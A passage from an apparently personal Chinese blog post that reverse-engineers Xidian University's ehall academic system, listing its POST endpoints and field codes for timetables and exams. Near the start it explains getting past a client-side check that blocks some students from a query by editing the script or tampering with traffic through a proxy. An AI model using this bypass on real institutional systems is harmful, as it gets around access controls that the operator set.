class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eres\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecode\u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003eres\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edatas\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecxxsjbxx\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eextParams\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecode\u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;1\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003exznj\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eres\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edatas\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecxxsjbxx\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eextParams\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003emsg\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"nx\"\u003exznj\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eisDyxs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\t\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003e$\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ebhTip\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"nx\"\u003econtent\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;学生现在年级查询失败,请稍后再试...\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003estate\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;danger\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e要想看倒也容易,在网页下载完这个文件但还没加载之前,改掉这俩地方。具体各位可以上网搜\u0026quot;如何在 Chrome 中修改网页代码\u0026quot;。或者使用 Charles 或者 mitproxy 搞中间人拦截,手动改包。\u003c/p\u003e\n\u003cp\u003e另外说明,这个文件感觉是包含了所有跟查成绩相关的代码,要想深入了解的话可以看看。我对这玩意居然没有加密混淆表示无法理解。\u003c/p\u003e\n\u003cp\u003e最后我想问的是,这是什么高年级歧视。如果是要”保护“老师的话,不如想想为啥我们学生会对某些老师敬而远之。\u003c/p\u003e\n\u003ch3 id=\"获取课表数据\"\u003e获取课表数据\u003c/h3\u003e\n\u003cp\u003e一般来说,获取到的数据是需要处理的。xidian-script 是处理成 iCalender 文件,一个国际上用来处理日历和备忘录的标准格式。我的程序计划是利用 Dart 的一个库,保存成 iCalender 。然后我在网上找到个课表的实现,试着套一下。\u003c/p\u003e\n\u003ch4 id=\"当前学期信息\"\u003e当前学期信息\u003c/h4\u003e\n\u003cp\u003e没错,这回我不打算自己合成了:-P\u003c/p\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/dqxnxq.do\" target=\"_blank\" rel=\"noopener\"\n \u003ehttp://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/dqxnxq.do\u003c/a\u003e 发送 POST 请求。如果成功的话,在回复数据中的 \u003ccode\u003e['datas']['dqxnxq']['rows'][0]['DM']\u003c/code\u003e 中,就会包含这个学期的数据,格式见上文的提前说明。\u003c/p\u003e\n\u003cp\u003e感觉其他类似的应用应该有类似的方式来获取目前的学期,或者是所有的学期号码。\u003c/p\u003e\n\u003ch4 id=\"获取开学日期\"\u003e获取开学日期\u003c/h4\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/cxjcs.do\" target=\"_blank\" rel=\"noopener\"\n \u003ehttp://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/cxjcs.do\u003c/a\u003e 发送 POST 请求,发送的数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;XN\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e\u0026#39;学期代码的第一个数字-学期代码的第二个数字\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e//学年\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;XQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e学期代码的最后一个数字\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 学期\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e获取的日期字符串在返回数据的 \u003ccode\u003e['datas']['cxjcs']['rows'][0][\u0026quot;XQKSRQ\u0026quot;]\u003c/code\u003e 中。\u003c/p\u003e\n\u003cp\u003e这个东西感觉是为了在显示课表对应日期的时候,找个基准。\u003c/p\u003e\n\u003ch4 id=\"获取课表初步数据\"\u003e获取课表初步数据\u003c/h4\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/xskcb/xskcb.do\" target=\"_blank\" rel=\"noopener\"\n \u003ehttp://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/xskcb/xskcb.do\u003c/a\u003e 发送 POST 请求,发送数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e当前学期信息字符串\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后从 \u003ccode\u003e['datas']['xskcb']\u003c/code\u003e 提取信息。\u003c/p\u003e\n\u003cp\u003e查看 \u003ccode\u003e['extParams']['code']\u003c/code\u003e 是否为 1。如果是的话,从 \u003ccode\u003e['rows']\u003c/code\u003e 提取数据,否则,从 \u003ccode\u003e['extParams']['msg']\u003c/code\u003e 查看错误信息。\u003c/p\u003e\n\u003ch4 id=\"没在课表上的课\"\u003e没在课表上的课\u003c/h4\u003e\n\u003cp\u003e要是有门课没有在课表上,我们咋办?\u003c/p\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"https://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/xskcb/cxxsllsywpk.do\" target=\"_blank\" rel=\"noopener\"\n \u003ehttps://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/xskcb/cxxsllsywpk.do\u003c/a\u003e 发送 POST 请求,发送数据为:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e当前学期信息字符串\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后从 \u003ccode\u003e['datas']['cxxsllsywpk']\u003c/code\u003e 提取信息,剩下步骤与上面一致。\u003c/p\u003e\n\u003ch4 id=\"金智黑话翻译表\"\u003e金智黑话翻译表\u003c/h4\u003e\n\u003cp\u003e以下多数自己破译,有误请指正。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCM\u003c/td\u003e\n\u003ctd\u003e课程名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCH\u003c/td\u003e\n\u003ctd\u003e课程号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKXH\u003c/td\u003e\n\u003ctd\u003e教学班序号(课序号)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCLBDM\u003c/td\u003e\n\u003ctd\u003e课程类别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCXZDM\u003c/td\u003e\n\u003ctd\u003e课程性质\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXGXKLBDM\u003c/td\u003e\n\u003ctd\u003e校公选课类别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eBJDM\u003c/td\u003e\n\u003ctd\u003e班级\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJASDM\u003c/td\u003e\n\u003ctd\u003e上课教室\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJXLDM\u003c/td\u003e\n\u003ctd\u003e教学楼\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJXBDM\u003c/td\u003e\n\u003ctd\u003e教学班序号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKKDWDM\u003c/td\u003e\n\u003ctd\u003e开课单位\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSKJS\u003c/td\u003e\n\u003ctd\u003e授课教师\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSKXQ\u003c/td\u003e\n\u003ctd\u003e上课星期\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXXXQDM\u003c/td\u003e\n\u003ctd\u003e校区\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSKZC\u003c/td\u003e\n\u003ctd\u003e上课周次(是数字数组,对应周的元素代表是否有课)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZCMC\u003c/td\u003e\n\u003ctd\u003e上课周次(字符串)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKSJC\u003c/td\u003e\n\u003ctd\u003e开始教程\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJSJC\u003c/td\u003e\n\u003ctd\u003e结束教程\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"获取考试安排\"\u003e获取考试安排\u003c/h3\u003e\n\u003cp\u003e先说明一下,这块由于没有基本材料,我目前也没有考试,所以以下逻辑仅供参考。\u003c/p\u003e\n\u003ch4 id=\"关于获取学期数据\"\u003e关于获取学期数据\u003c/h4\u003e\n\u003cp\u003e我经历了那次坑爹的年初疫情,后面我们考试的时候,我们需要自己去一站式更改学期,才能看到我们拖延考试的信息。所以,这里我想做一个查看往学期考试信息的功能。\u003c/p\u003e\n\u003cp\u003e然后,当我获取所有学期代码的时候,我发现好家伙,数据居然是从 2012 年开始算的。兄弟,我 2020 年入学的好吗?\u003c/p\u003e\n\u003cp\u003e所以,我感觉每年的二月到七月算春季学期,剩下的是秋季学期,我决定自己获取学期代码。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-Dart\" data-lang=\"Dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003enow\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003emonth\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003esemester\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esemester\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"m\"\u003e2\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003enow\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"m\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esemester\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-2\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esemester\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"查询考试安排信息\"\u003e查询考试安排信息\u003c/h4\u003e\n\u003cp\u003e实际上我找到了三个相关请求,分别是:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003ewdksap\u003c/td\u003e\n\u003ctd\u003e我的考试安排\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ecxyxkwapkwdkc\u003c/td\u003e\n\u003ctd\u003e查询已选课未安排考务的课程\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ecxwapdksrw\u003c/td\u003e\n\u003ctd\u003e查询未安排的考试任务\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch5 id=\"我的考试安排\"\u003e我的考试安排\u003c/h5\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"https://ehall.xidian.edu.cn/jwapp/sys/studentWdksapApp/modules/wdksap/wdksap.do\" target=\"_blank\" rel=\"noopener\"\n \u003ehttps://ehall.xidian.edu.cn/jwapp/sys/studentWdksapApp/modules/wdksap/wdksap.do\u003c/a\u003e 发送 POST 请求,发送数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"err\"\u003esemester\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;*order\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;-KSRQ,-KSSJMS\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e返回的数据在 \u003ccode\u003e[datas][wdksap]\u003c/code\u003e 里面,提取之。\u003c/p\u003e\n\u003cp\u003e如果有考试的话,\u003ccode\u003e[extParams][code]\u003c/code\u003e 为 1,数据在 \u003ccode\u003e[row]\u003c/code\u003e 里面。\u003c/p\u003e\n\u003ch5 id=\"查询已选课未安排考务的课程\"\u003e查询已选课未安排考务的课程\u003c/h5\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"https://ehall.xidian.edu.cn/jwapp/sys/studentWdksapApp/modules/wdksap/cxyxkwapkwdkc.do\" target=\"_blank\" rel=\"noopener\"\n \u003ehttps://ehall.xidian.edu.cn/jwapp/sys/studentWdksapApp/modules/wdksap/cxyxkwapkwdkc.do\u003c/a\u003e 发送 POST 请求,发送数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"err\"\u003esemester\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e返回的数据在 \u003ccode\u003e[datas][cxyxkwapkwdkc]\u003c/code\u003e 里面,提取之,接下来咋处理我不想说了。\u003c/p\u003e\n\u003ch5 id=\"查询未安排的考试任务\"\u003e查询未安排的考试任务\u003c/h5\u003e\n\u003cp\u003e这个我每次请求,返回的数据都是\u0026quot;学生查询在考试任务中且没有安排的课程\u0026quot;。所以我也不知道该咋办了,兴许这又是教务处啥不可说的禁区?\u003c/p\u003e\n\u003ch4 id=\"金智黑话翻译表-1\"\u003e金智黑话翻译表\u003c/h4\u003e\n\u003cp\u003e打开网页调试器的网络分项,我看到了请求几个 html 